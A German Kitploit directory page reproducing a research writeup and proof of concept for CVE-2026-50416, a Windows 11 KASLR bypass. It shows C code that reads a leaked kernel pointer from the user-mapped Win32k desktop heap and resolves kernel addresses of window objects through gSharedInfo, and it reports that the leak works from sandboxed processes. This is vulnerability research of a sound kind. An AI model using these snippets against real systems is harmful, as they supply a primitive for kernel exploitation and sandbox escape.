Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR-Umgehung | Kitploit
Tools/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Exploit-FrameworksSpeicherforensikSchwachstellenanalyseExploitationInformationsbeschaffungCTFBinäranalysePapers & ForschungLernen & Bildung
Labs & Praxis
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR-Umgehung

Repository anzeigenWebseite
44513vor 1 MonatVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-50416: Ein QWORD zu viel im Desktop-Heap

Im Windows 11 Insider-Build 10.0.28020.2149 legte die User-Mode-Zuordnung des Win32k-Desktop-Heaps einen rohen Kernel-Session-Pool-Zeiger bei Offset 0x100 offen.

Der Lesezugriff selbst ist beinahe beleidigend klein:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

In meiner Testsitzung lieferte das:

0xffffc600dcc00040

Der Wert blieb über Prozesse hinweg auf demselben Desktop identisch und änderte sich nach einem Neustart. Ein Prozess, der auf einem anderen Desktop gestartet wurde, erhielt einen anderen Wert, da er einen anderen Desktop-Heap hatte. Aus diesem einen QWORD gewann der PoC die Kernel-Basis des Desktop-Heaps und nutzte anschließend user32!gSharedInfo, um die Kernel-Adressen aktiver Fensterobjekte abzuleiten.

Derselbe Lesezugriff funktionierte aus Low Integrity, AppContainer, einer LPAC-Konfiguration mit null Fähigkeiten sowie einem Low-Integrity-AppContainer-Kindprozess mit null Fähigkeiten.

Der Desktop-Heap soll geteilt sein. Der Kernel-Zeiger ist es nicht.

Der Desktop-Heap aus dem User Mode

Win32k speichert USER-Objekte wie Fenster, Menüs, Klassen, Hooks und zugehörige Metadaten in Desktop-Heaps. Jeder Desktop besitzt seinen eigenen Heap. Ein Teil dieses Heaps wird in Prozesse abgebildet, die mit dem Desktop verbunden sind, damit der User Mode gemeinsamen GUI-Zustand lesen kann, ohne den Kernel für jedes Feld zu befragen.

Im getesteten x64-Build ist die User-Mode-Zuordnung über die Client-Daten des aktuellen Thread-TEB erreichbar:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Die Offsets sind buildspezifisch, aber der Weg ist einfach:

GS:[0x30]
    -> TEB
    -> ClientInfo bei TEB + 0x800
    -> ClientInfo[5]
    -> User-Mode-Desktop-Heap-Zuordnung

Der PoC ruft VirtualQuery auf die zurückgegebene Adresse auf und zeichnet die zugeordnete Region sowie deren Schutz auf. Bisher ist nichts schiefgelaufen. Eine schreibgeschützte Desktop-Heap-Zuordnung ist normales Win32k-Verhalten.

Das Problem beginnt 256 Bytes weiter.

Der Zeiger bei Offset 0x100

Der Haupt-PoC liest ein QWORD aus dem zugeordneten Heap:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Der Wert bestand die grundlegenden Prüfungen, die von einer Kernel-Virtualadresse auf dem getesteten System erwartet werden:

  • Kanonische High-Bits
  • Acht-Byte-Ausrichtung
  • Keiner der bekannten Sentinel-Werte, die vom PoC herausgefiltert werden
  • Stabil, während Fenster erstellt und zerstört wurden
  • Identisch in getesteten Prozessen auf demselben Desktop
  • Unterschiedlich nach einem Neustart
  • Unterschiedlich auf einem anderen Desktop

Der Stabilitätstest erstellt STATIC-, BUTTON- und EDIT-Fenster, liest den Wert vor der Erstellung, liest ihn erneut, während die Fenster existieren, zerstört sie und liest ihn ein drittes Mal.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Alle drei Lesezugriffe lieferten denselben Wert. Die Fensterzuordnungsaktivität bewegte ihn nicht. Dieses Verhalten ist konsistent mit einem Feld in den Desktop-Heap-Metadaten und nicht mit einem kurzlebigen Objektzeiger.

Die prozessübergreifende Eigenschaft ist ebenso wichtig. Zwei Prozesse, die mit demselben Desktop verbunden sind, beobachten denselben geleakten Wert, da sie auf denselben Desktop-Heap blicken. Nach einem Neustart weist KASLR der Sitzung eine neue Adresse zu. Ein Kindprozess auf einem anderen Desktop beobachtet einen anderen Zeiger, da dieser Desktop einen anderen Heap besitzt.

Das verleiht dem Leak eine nützliche Identität:

gleicher Boot + gleicher Desktop      -> gleicher Zeiger
gleicher Boot + anderer Desktop       -> anderer Zeiger
neuer Boot                            -> anderer Zeiger

Wiederherstellung der Kernel-Basis des Desktop-Heaps

Im getesteten Build sitzt der geleakte Zeiger 0x40 Bytes über der Kernel-Basis des Desktop-Heaps, die der PoC verwendet:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Mit dem aufgezeichneten Sitzungswert:

geleakter Zeiger            = 0xffffc600dcc00040
Kernel-Desktop-Heap-Basis   = 0xffffc600dcc00000

Diese Beziehung ist buildspezifisch. Für den während der Tests verwendeten Build liefert sie den kernelseitigen Anker, der für den nächsten Schritt benötigt wird.

Ein Zeiger ist bereits nützlich. Eine Adresse für ein ausgewähltes Objekt ist viel nützlicher.

Auflösung eines Fensterobjekts über gSharedInfo

user32.dll exportiert gSharedInfo, das die USER-Handle-Eintragsliste und die Größe jedes Eintrags offenlegt:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Ein HWND enthält einen Index in die USER-Handle-Tabelle. Der PoC nimmt die unteren 16 Bits des Handles, geht zum passenden Eintrag und liest den dort gespeicherten Desktop-Heap-Offset.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

Derselbe Offset benennt das Objekt in beiden Zuordnungen:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Die vollständige Berechnung lautet also:

Kernel-Desktop-Heap-Basis = desktop_heap[0x100] - 0x40
Handle-Index              = HWND & 0xffff
Heap-Offset               = aheList[Handle-Index].offset
Kernel-Fensteradresse     = Kernel-Desktop-Heap-Basis + Heap-Offset

Der PoC erstellt sechs Fensterklassen und führt die Berechnung für jede davon durch:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Für jedes Objekt gibt er das HWND, den Handle-Index, die User-Mode-Objektadresse, den Heap-Offset und die Kernel-Adresse aus.

HWND
  -> niedriger 16-Bit-Handle-Index
  -> gSharedInfo-Handle-Eintrag
  -> Desktop-Heap-Offset
  -> Kernel-Desktop-Heap-Basis + Offset
  -> Kernel-Adresse dieses Fensterobjekts

Dies ist der Teil, der die Offenlegung von einem losen Kernel-Zeiger in ein Adress-Orakel für ausgewählte USER-Objekte auf dem getesteten Desktop-Heap verwandelt.

Warum die Sandbox-Tests wichtig sind

Der Desktop-Heap kommt über eine gemeinsame Zuordnung. Integritätsstufen und AppContainer-Einschränkungen schreiben die Inhalte dieser Zuordnung nicht für jeden Prozess neu. Wenn der Prozess den Desktop-Heap erhält, erhält er auch das QWORD bei 0x100 mit.

Der Sandbox-PoC startet Kindprozesse in mehreren Kontexten und lässt jeden Kindprozess den Wert aus seinem eigenen TEB und seiner eigenen Desktop-Heap-Zuordnung lesen.

KontextKonfigurationErgebnis
Medium IntegrityStandard-BenutzerprozessGeleakt
Low IntegrityToken-Integrität auf Low gesenktGeleakt
AppContainerNull angeforderte FähigkeitenGeleakt
LPAC-KonfigurationAlle Anwendungspakete Opt-out-Richtlinie, null angeforderte FähigkeitenGeleakt
Low Integrity AppContainerLow IL plus AppContainer, null angeforderte FähigkeitenGeleakt
Alternativer DesktopKindprozess einem neuen Desktop zugewiesenAnderer Wert geleakt
Tool herunterladen